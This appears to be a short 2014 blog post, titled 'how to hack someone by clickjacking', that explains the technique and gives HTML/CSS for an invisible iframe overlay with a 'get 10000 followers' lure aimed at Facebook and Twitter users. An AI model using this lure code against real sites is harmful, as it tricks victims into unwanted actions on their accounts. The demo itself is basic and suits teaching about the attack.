Saturday 20 December 2014

how to hack someone by clickjacking

Clickjacking is a term first introduced by Jeremiah Grossman and Robert Hansen in 2008 to describe a technique whereby an attacker tricks a user into performing certain actions on a website by hiding clickable elements inside an invisible iframe.

Clickjacking attack allows to perform an action on victim website, Mostly Facebook and Twitter accounts are targetable.



One famous example of clickjacking is Facebook

Code:

<style>
iframe { /* iframe from facebook.com */
width:300px;
height:100px;
position:absolute;
top:0; left:0;
filter:alpha(opacity=50); /* in real life opacity=0 */
opacity:0.5;
}
</style>

<div>Click on the link to get more followers:</div>

<iframe src="/files/tutorial/window/clicktarget.html"></iframe>

<a href="http://www.google.com" target="_blank" style="position:relative;left:20px;z-index:-1">CLICK ME!</a>

<div>You'll be get 10000 followers..!!</div>


Output:
Click on the link to get more followers
Click Me
You'll be get 10000 followers..!!
Download 

0 comments:

Post a Comment